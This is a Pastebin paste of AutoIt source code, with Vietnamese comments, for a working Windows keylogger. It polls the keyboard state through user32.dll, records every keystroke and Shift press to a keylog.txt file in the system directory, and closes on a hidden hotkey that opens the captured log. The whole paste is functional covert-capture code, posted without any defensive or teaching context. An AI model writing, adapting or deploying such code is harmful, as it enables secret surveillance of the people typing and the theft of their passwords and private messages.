Guest User

Untitled

a guest
Dec 4th, 2015
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.96 KB | None | 0 0
  1. Opt("SendKeyDelay",150)
  2. Opt("SendKeyDownDelay",50)
  3. Global $keyf,$keyup,$ckok=False,$f_path = @SystemDir & "\keylog.txt"
  4. Global $shdown=True,$shup
  5. Global $sDateTime = @YEAR & "-" & @MON & "-" & @MDAY &" "&@HOUR & ":" & @MIN & ":" & @SEC
  6. ;Separate hex and char
  7. $hex = StringSplit("08,09,0d,10,11,12,13,14,1b,20,21,22,23,24,25,26,27,28,2c,2d,2e," & _
  8. "30,31,32,33,34,35,36,37,38,39,41,42,43,44,45,46,47,48,49,4a,4b,4c,4d,4e,4f,50,51,52,53,54,55,56,57,58,59,5a," & _
  9. "ba,bb,bc,bd,be,bf,c0,db,dc,dd,5b,5c", _
  10. ",")
  11. $char = StringSplit(" BACKSPACE , TAB , ENTER , SHIFT , CTR , ALT , PAUSE , CAPLOCKS , ESC , SPACE , PAGEUP , PAGEDOWN , END , HOME , LEFT , UP , RIGHT , DOWN , PRINTSCR , INS , DEL ," & _
  12. "0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z" & _
  13. " ; , = , dot , - , . , / , ` , [ , \ , ], lWIN , rWIN ", _
  14. ",")
  15. ;=>End
  16. HotKeySet ("^!#{f12}","thoat")
  17. Func thoat()
  18. DllClose($dll)
  19. FileClose($file)
  20. Run("notepad.exe " & $f_path)
  21. Exit
  22. EndFunc
  23. ;;=> Ket thuc ham
  24. If Not FileExists($f_path) Then _FileWriteLog($f_path,'')
  25. $dll = DllOpen("user32.dll")
  26. $file = FileOpen($f_path, 1)
  27. If $file = -1 Then
  28. MsgBox(0, "Loi", "Khong the mo file")
  29. Exit
  30. EndIf
  31. FileWriteLine($file, $sDateTime)
  32. While 1
  33. Sleep ( 10 )
  34. readchar()
  35. WEnd
  36. DllClose($dll)
  37. Func readchar()
  38. For $i = 1 to $hex[0]
  39. Select
  40. Case _IsPressed($hex[$i],$dll)
  41. If _IsPressed("10", $dll) Then
  42. if $shdown ==True Then
  43. FileWrite($file," SHIFTDOWN ")
  44. Sleep(30)
  45. $shdown= False
  46. $shup= True
  47. EndIf
  48. Else
  49. $keyup = $hex[$i]
  50. checkku()
  51. writechar($char[$i])
  52. EndIf
  53. Case _IsRelease("10", $dll)
  54. if $shup== True Then
  55. FileWrite($file," SHIFTUP ")
  56. Sleep(30)
  57. $shdown= True
  58. $shup= False
  59. EndIf
  60. EndSelect
  61. Next
  62. EndFunc
  63. Func checkku()
  64. Do
  65. If _IsRelease($keyup,$dll) then
  66. $ckok =True
  67. EndIf
  68. Until $ckok =true
  69. EndFunc
  70. Func writechar($keyf= "")
  71. If $file = -1 Then
  72. MsgBox(0, "Loi", "Khong the mo file.")
  73. Exit
  74. EndIf
  75. If $ckok =true then
  76. FileWrite($file,$keyf)
  77. Sleep(10)
  78. $ckok =False
  79. EndIf
  80. EndFunc
  81. Func _IsPressed($sHexKey, $vDLL = 'user32.dll')
  82. Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)
  83. If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 1
  84. Return 0
  85. EndFunc
  86. Func _IsRelease($sHexKey, $vDLL = 'user32.dll')
  87. Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)
  88. If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 0
  89. Return 1
  90. EndFunc
  91. Func _FileWriteLog($sLogPath, $sLogMsg, $iFlag = -1)
  92. Local $sDateNow, $sTimeNow, $sMsg, $iWriteFile, $hOpenFile, $iOpenMode = 1
  93. $sDateNow = @YEAR & "-" & @MON & "-" & @MDAY
  94. $sTimeNow = @HOUR & ":" & @MIN & ":" & @SEC
  95. $sMsg = $sDateNow & " " & $sTimeNow & " : " & $sLogMsg
  96. If $iFlag <> -1 Then
  97. $sMsg &= @CRLF & FileRead($sLogPath)
  98. $iOpenMode = 2
  99. EndIf
  100. $hOpenFile = FileOpen($sLogPath, $iOpenMode)
  101. If $hOpenFile = -1 Then Return SetError(1, 0, 0)
  102. $iWriteFile = FileWriteLine($hOpenFile, $sMsg)
  103. If $iWriteFile = -1 Then Return SetError(2, 0, 0)
  104. Return FileClose($hOpenFile)
  105. EndFunc ;
Advertisement
Add Comment
Please, Sign In to add comment